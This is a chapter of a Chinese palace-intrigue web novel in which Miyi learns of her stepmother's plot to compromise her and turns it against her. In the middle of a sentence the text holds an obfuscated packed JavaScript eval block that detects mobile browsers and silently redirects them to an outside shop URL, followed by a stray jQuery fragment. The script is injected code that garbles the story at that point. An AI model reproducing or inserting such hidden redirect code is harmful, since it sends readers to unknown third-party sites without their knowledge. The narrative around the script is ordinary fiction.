弥衣与言卿不敢原路返回,巡逻的士兵大多在营区边,他们挑了一条人最少的路悄然回到弥衣的帐篷。
万幸一路上没遇到人。
两人面带伤痕,衣衫破损,言卿的臂膀还缠着弥衣衣裙的布条。
夜色中各帐篷烛火渐渐熄灭,他们摸着黑回去,正碰上小昭着急地在屋内踱步。
小昭一见是他们两个,眼眸一亮,快要哭出来。
她不敢大声说话,只能压低声音。
“小姐你们两个人去哪里了!”
弥衣坐下从头说起,说到她的马受惊,后面被言卿救下。
小昭惊讶的捂住嘴巴,听到救下弥衣时连连称赞言卿护主有功,又暗暗地说这个丁庭真不是东西。
言卿尴尬地咳嗽了一声。
弥衣被逗笑,摸了摸她的脑袋。
“好了,听完故事就去休息吧。”
“小姐要不要洗漱换身衣服,小姐的脸还是黑黢黢的。”
弥衣问道:“你的腿没事了吗?不是被马踢了一脚。”
小昭信誓旦旦:“一脚而已,休息一会就好了,现在不疼了。”说完就一瘸一拐地出去给她打水。
弥衣拦不住,就随她去了。
又剩下她与言卿两人。
弥衣轻抿嘴唇,她有些不敢看他。
言卿率先开口:“小姐早些休息。”
“你还好吗?”她试探地问。
“一点小伤,我会处理,不要担心。”
到底谁在担心?
弥衣的心发软,她瞬间耳根发烫,一抹红顺着耳朵染上她的脸颊。她无法与他对视,只得偏过头去,挡住无处安放的局促与羞怯。
“你早点休息吧。”
“是。小姐。”
言卿掀开帘子离开,无人知他唇边扬起一丝笑意。
-----------------
残月隐在云层后,帐篷外虫鸣阵阵。
屋内只点燃一支蜡烛,昏暗的光下,小昭正在替弥衣处理细碎的伤口。
弥衣的伤势不重,脸上的小伤用粉便能遮盖。
小昭替弥衣梳洗完,刚要出去,一道人影连滚带爬的冲了进来。
定睛一看,这是崔昭雪院子里的大丫鬟玉珑。
玉珑满脸泪痕,眼眶通红,模样楚楚可怜,几乎是跪着往弥衣腿边爬。
弥衣时时被崔昭雪欺负,也有她平常煽风点火的功劳。
小昭气不打一处来,寻思这又是唱的哪一出,低声呵斥道:“你来干什么?又想出来什么阴招了,跑来这里哭丧个什么劲儿!”
玉珑慌忙地摇头,连连摆手说不是的不是的,接着抽泣着紧抓弥衣的裤腿。她不敢大声哭出声,惊扰了旁人,双肩发抖,压抑地抽噎。
“大小姐,大小姐救救奴婢,救救奴婢,奴婢不想死。”
弥衣满心好奇。
玉珑这个大丫鬟在府中作威作福,不求崔昭雪保护,倒来求她这个在府中没什么权力的大小姐。
“我该怎么救你?”
玉珑抬头,泪水鼻涕糊满了她整个脸庞,像是抓到了救命稻草一般,急急地回道:“三小姐去跟江小姐赏星,至今未归,奴婢找了许久都没找到,奴婢害怕,奴婢害怕三小姐出事。”
“江小姐闭门不出,奴婢求助无门,求求大小姐,救救奴婢,若是三小姐出了事,奴婢,奴婢一定会被夫人打死的!”
弥衣经过夜晚那事,意识刚刚回笼,她此刻头脑清醒:“那你应该去找夫人,不是来找我,我没有救人的能力。”
“夫人,夫人,今晚顾不上奴婢,奴婢该怎么,该怎么跟夫人说呀!”
她怎么会顾不上?
弥衣让玉珑别急着哭,将话说清楚。
玉珑思索再三,才陆陆续续说出实情。
原来,丁氏是这么打算的。
丁庭假意教她骑马,实则英雄救美。
等到带受伤的她回来,再悄悄将她迷晕扔进她的帐篷中,造成两人偷尝禁果之实,生米煮成熟饭。半夜丁氏再装作担心弥衣受伤看望之际,带着家仆捉奸,让弥衣狡辩不能,只得下嫁丁家。
既替丁家寻好了前程,又解决了她眼中之钉。
小昭听着心惊肉跳。
弥衣都有点佩服丁氏的心机了。
她以往在崔家谨小慎微,降低自己的存在感,只是觉得与丁氏斗得不到好结果,而且她父亲又不在意她。
弥衣若是出了头与丁氏反抗,她的妹妹潇月便不能在她身边,说不定要留在丁氏院中,惯坏了养惨了,她该怎么面对母亲呢?
可这次,她如果什么都不做,或者轻轻揭过,丁氏后面再使出什么招数,便再没了顾忌,她的处境不是更艰难吗?
她已经面对危险两次了,而且被言卿救了两次了,她不能再坐以待毙了。
至少不能让丁氏再看轻她,让别人动她之前要想想敢不敢这么做。
桌上烛火即将燃尽,昏暗的光影下,弥衣侧脸陷在黑暗中。
玉珑沙哑的哭声渐渐小了下去:“奴婢求求大小姐,奴婢以后为大小姐当牛做马,奴婢真的不想死啊!”
弥衣垂眸,看着眼前紧张发抖的玉珑,她手肘抵在桌边,一只手轻托下颌。
该不该救崔昭雪呢?
弥衣与她本来就不对付,救了她,也不能在她这里刷什么好感,说不定还要说弥衣是不怀好意。
可崔昭雪身边的大丫鬟,若能成她的一枚棋子,那她在崔家,至少也有了抗衡之力,至少别人在动她之前,她都能得到消息,
这诱惑力太大,她反复掂量权衡利弊。
玉珑见弥衣半晌不动,以为这事没了办法,呜呜咽咽,又放了声。
哭她大难临头,哭她不应该处处跟着崔昭雪针对大小姐,更恨自己无能,连投诚这种事别人都不在意。
弥衣听得心烦,眉头紧蹙。
她正想让玉珑别哭了,帐篷外却传来一阵骚动。他们崔家的帐篷单围一边,距离其他人家较远。
脚步声零零碎碎,火把的光芒透过帐篷的窗户照了过来。
一道尖锐的女声在远处响起:“都打起精神,谁敢犯迷糊回头去府里领板子。”
这是采菱的声音。
应该是算计好时间,既不能快,又不能等着天亮再去,避免别人说她家中闲话,丁氏只想置弥衣于死地,家丑不可外扬,她不敢大肆声张。
弥衣说:“她要带着人去哪抓我?”
玉珑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728231|208904||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
哭声瞬间止住,眼泪未干:“奴婢听夫人说先去那边丁家找表少爷,再去您这搜。”
弥衣冷笑:“玉珑,能不能活着就看你自己了。”
玉珑如获大赦,松开弥衣的裤腿,在地上重重地磕了几个响头:“奴婢都听大小姐的,奴婢都听大小姐的。”
帐篷外,丁氏整理了一下衣裙,拢了拢外套,冷着脸,她想着立马将弥衣拖到地狱的样子,心中的狂喜都快掩饰不住。
以后这崔府,再也没什么大小姐嫡小姐,外嫁了就是外室人,这府中,她就是明媒正娶的嫡夫人,她女儿就是嫡小姐。
至于那个崔潇月,乳臭未干,毫无心计,完全不值得一提。
领头的是丁氏的心腹方妈妈和采菱,她们举着火把,后面还跟着十几个家奴。
她们浩浩荡荡一大群人正经过弥衣的帐篷时,玉珑看准时机跑出来拦住了她们。
方妈妈被吓一跳,冷声呵斥道:“不在小姐那伺候,这么晚乱跑什么呢!”
玉珑丝毫不管她,跌跌撞撞直冲到丁氏面前,她的眼睛早就哭的像核桃一般,气也喘不匀。
丁氏见她这模样有些慌张,心中有一丝不祥的预感。
“出了什么事,慌慌张张的,成何体统。一会吵到老爷,我拿你是问!”
玉珑哪管得了那么多,扑通一声跪倒在地,浑身瑟瑟发抖,声音哽咽发哑:“夫人,夫人,三小姐至今未归,奴婢找了一大圈都没见着踪迹,若不是实在没办法,也不能求到您这来,求您救救三小姐。”
崔昭雪是丁氏的心肝,一听到她的名字,神色慌乱了起来。
丁氏不愧是崔家主母,她使了个眼色,方妈妈与采菱将众家奴赶至几米远,待到人都走远,丁氏神色凝重,目光落在这个三小姐的贴身大丫鬟身上。
“三小姐她去哪了?”
玉珑咽了咽口水,鼓足了勇气,将弥衣教她的话一五一十地照搬出来:“江小姐约三小姐今夜赏星,回来的路上碰见了丁少爷,丁少爷说带三小姐去骑马,不让奴婢跟着,到现在迟迟未归。奴婢去丁少爷那问过,那边的人说没碰见三小姐。奴婢这段时间找遍了营地四周,都不见三小姐的踪影,实在不敢再耽搁下去。”玉珑垂着头,声音说到最后越来越低。
丁氏越听越不对,一听到丁庭就觉得只是这个婢子胡说,她一脚狠狠地踹在玉珑胸口,恶狠狠地说:“你是不是被昭雪宠惯了,在她的事情上你也敢胡说!你是不是找死!”
“奴婢不敢胡说!三小姐让奴婢走的时候,奴婢不敢走远,可瞬间人没了影儿,直到现在三小姐帐内无人,丁少爷也没回来,
奴婢不敢声张实在是害怕,不敢不说!”玉珑深吸一口气,说的越发大胆起来,“奴婢也是怕出了事,三小姐的名声最大,奴婢也是没了办法,若是丁少爷做错事,三小姐该怎么办!”
丁氏越听越心惊,关于她女儿的名节,她便自乱阵脚。
死一般的寂静。
“方妈妈,你带几个人去丁家寻丁少爷。采菱,你去看看三小姐在不在帐内。”
两人接下命令,快步离开,不敢耽搁一步。
丁氏眼含戾气,死盯着伏在地上不敢抬头的玉珑。
“你,跟着我,去找大小姐。”